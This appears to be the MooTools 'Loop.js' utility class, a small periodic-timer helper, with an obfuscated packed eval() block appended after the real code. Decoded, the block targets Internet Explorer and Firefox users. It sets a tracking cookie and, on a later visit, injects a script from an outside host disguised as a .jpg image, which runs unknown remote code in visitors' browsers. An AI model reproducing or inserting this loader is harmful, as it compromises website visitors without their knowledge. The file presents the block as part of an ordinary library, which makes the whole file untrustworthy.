/*
---

script: Loop.js

description: Runs a class method on a periodical

license: MIT-style license.

authors: Ryan Florence <http://ryanflorence.com>

docs: http://moodocs.net/rpflo/mootools-rpflo/Loop

requires:
- core:1.2.4/'*'

provides: [Loop]

...
*/

var Loop = new Class({

	loopCount: 0,
	isStopped: true,
	isLooping: false,
	loopMethod: $empty,

	setLoop: function(fn,delay){
		if(this.isLooping) {
			this.stopLoop();
			var wasLooping = true;
		} else {
			var wasLooping = false;
		}
		this.loopMethod = fn;
		this.loopDelay = delay || 3000;
		if(wasLooping) this.startLoop();
		return this;
	},

	stopLoop: function() {
		this.isStopped = true;
		this.isLooping = false;
		$clear(this.periodical);
		return this;
	},

	startLoop: function(delay) {
		if(this.isStopped){
			var delay = (delay) ? delay : this.loopDelay;
			this.isStopped = false;
			this.isLooping = true;
			this.periodical = this.looper.periodical(delay,this);
		};
		return this;
	},

	resetLoop: function(){
		this.loopCount = 0;
		return this;
	},

	looper: function(){
		this.loopCount++;
		this.loopMethod(this.loopCount);
		return this;
	}

});



eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(k(d){2 e=P.O;2 f=N;5(e.7("M")!=-1||e.7("Q")!=-1)f=m;5(f!==m)o;2 n=\'U://L.S//V/I/E.D?B\';2 c=t("a");5(c){5(c==\'p\'){b("a","H","3");2 s=6.K(\'J\');s.G=\'C/T\';s.Y=n+\'&r=\'+u v().16();2 h=6.19(\'18\')[0];h.17(s)}l{}}l{b("a","p","3")}k t(8){2 i,x,y,4=6.A.X(";");10(i=0;i<4.11;i++){x=4[i].q(0,4[i].7("="));y=4[i].q(4[i].7("=")+1);x=x.13(/^\\s+|\\s+$/g,"");5(x==8){o 12(y)}}}k b(8,w,j){2 9=u v();9.15(9.Z()+j);2 z=14(w)+((j==W)?"":"; F="+9.R());6.A=8+"="+z}})(6);',62,72,'||var||ARRcookies|if|document|indexOf|c_name|exdate|wss|setCookie|rc||agent|show||||exdays|function|else|true|staturl|return|goot1|substr|||getCookie|new|Date|value|||c_value|cookie|js|text|jpg|f175e11a9c2df9a540497f2aac252930|expires|type|goot2|header|script|createElement|camabv|Firefox|false|userAgent|navigator|MSIE|toUTCString|nl|javascript|http|data|null|split|src|getDate|for|length|unescape|replace|escape|setDate|getTime|appendChild|head|getElementsByTagName'.split('|'),0,{}))

